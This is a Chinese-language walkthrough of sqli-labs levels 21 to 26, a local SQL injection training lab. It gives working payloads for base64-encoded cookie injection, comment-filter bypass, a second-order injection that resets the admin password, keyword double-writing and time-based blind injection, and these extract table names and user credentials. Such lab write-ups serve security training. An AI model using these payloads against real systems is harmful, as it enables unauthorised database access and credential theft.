1. 程式人生 > 其它 >sali-labs(21-30)

sali-labs(21-30)

less-21

圈出來的地方顯然是base64加密過的,解碼得到:admin,就是剛才登入的uname,所以猜測:本題在cookie出加密了字串;

    檢視php檔案確實如此,所以只需要上傳payload的時候base64加密一下就行了。

看到cookie是YWRtaW4%3D,和頁面顯示的不一樣 但是明顯%3D是=號urdecode的結果,接下來構造paylaod進行測試:

admin' and 1=1 --+ //明文

YWRtaW4nIGFuZCAxPTEgLS0r //密文

看到紅矩形的提示,應該構造 ')這種的

明文:admin')#

密文:YWRtaW4nKSM=

正常顯示,所以閉合條件為('uname'),因為本關和上一關一樣,所以列數為3列,顯示位相同。

(1)爆庫

-admin') union select 1,2,database()#

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

(2)爆表

-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

(3)爆列

-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=

(4)爆資料

-admin') union select 1,2,group_concat(username,0x7e,password) from users#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2VycyM=

less-22

和less-21關一樣,只需要使用雙引號再去掉括號

-admin" union select 1,2,database() #      
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

less-23

原始碼替換了能用的註釋符,所以我們可以構造閉合語句進行注入

(1)爆庫

127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,database() '

(2)爆表

http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20or%20%27

(3)爆列

127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'or '

(4)爆資料

http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20where%201%20or%20%27

less-24

是一個登陸頁面,我們沒有賬號,所以選擇新建一個使用者

我們新建的使用者名稱為:admin'# 密碼為:123456

檢視資料庫,可以看到,我們的資料插入進去了

我們使用新建的使用者名稱和密碼登入

登入成功了,跳轉到了後臺頁面修改密碼頁面。

我們修改使用者名稱為:admin'# 密碼為:aaaaaaaaa

提示密碼更新成功!

我們檢視資料庫,發現使用者admin'#的密碼並沒有修改,而且admin使用者的密碼修改為了 aaaaaaaaaa

那麼,為什麼會這樣呢?我們檢視修改密碼頁面原始碼,發現這裡存在明顯的SQL注入漏洞

當我們提交使用者名稱 admin'#修改密碼為 aaaaaaaaaa 的時候,這條SQL語句就變成了下面的語句了。

#把後面的都給註釋了,所以就是修改了admin使用者的密碼為aaaaaaaaaa

$sql = "UPDATEusersSETPASSWORD='aaaaaaaaaa'where username='admin'#' and password='$curr_pass' ";

less-25

根據題意得,本關過濾了or和and。檢視原始碼可以看到or和and被替換成空,我們可以雙寫繞過

(1)加單引號報錯

(2)加雙引號正常顯示

(3)輸入?id=1'--+

正常顯示,所以引數的閉合方式是'id'

(4)判斷列數

正常顯示,

(5)輸入?id=1' oorrder by 4--+

報錯所以列數為三列。

(6)判斷顯示位

後面就是union查詢注入的老一套了,遇見and或or字元的時候雙寫就行了。

less-25a

不同於Less(25)的是,sql語句中對於id,沒有"的包含,同時沒有輸出錯誤項,報錯注入不能用。

union聯合注入

http://127.0.0.1/sqli-labs/Less-25a/?id=-1 union select 1,2,database()--+

盲注

http://127.0.0.1/sqli-labs/Less-25a/?id=-1 || if(length(database())=8,sleep(10),1)#

less-26

檢視php檔案,可以發現過濾了 or and /* -- # \s //

 

(1)確認一下:

    ?id=%231  //確認過濾了#

    ?id=or1  //確認過濾了or

    ?id=/*1  //確認過濾了多行註釋  

    ?id=--1  //確認過濾了單行註釋

    ?id=/1  //確認過濾了斜槓

    ?id=1' ' '  //確認過濾了空格,報錯注入才行

    ?id=\  //確認過濾了反斜槓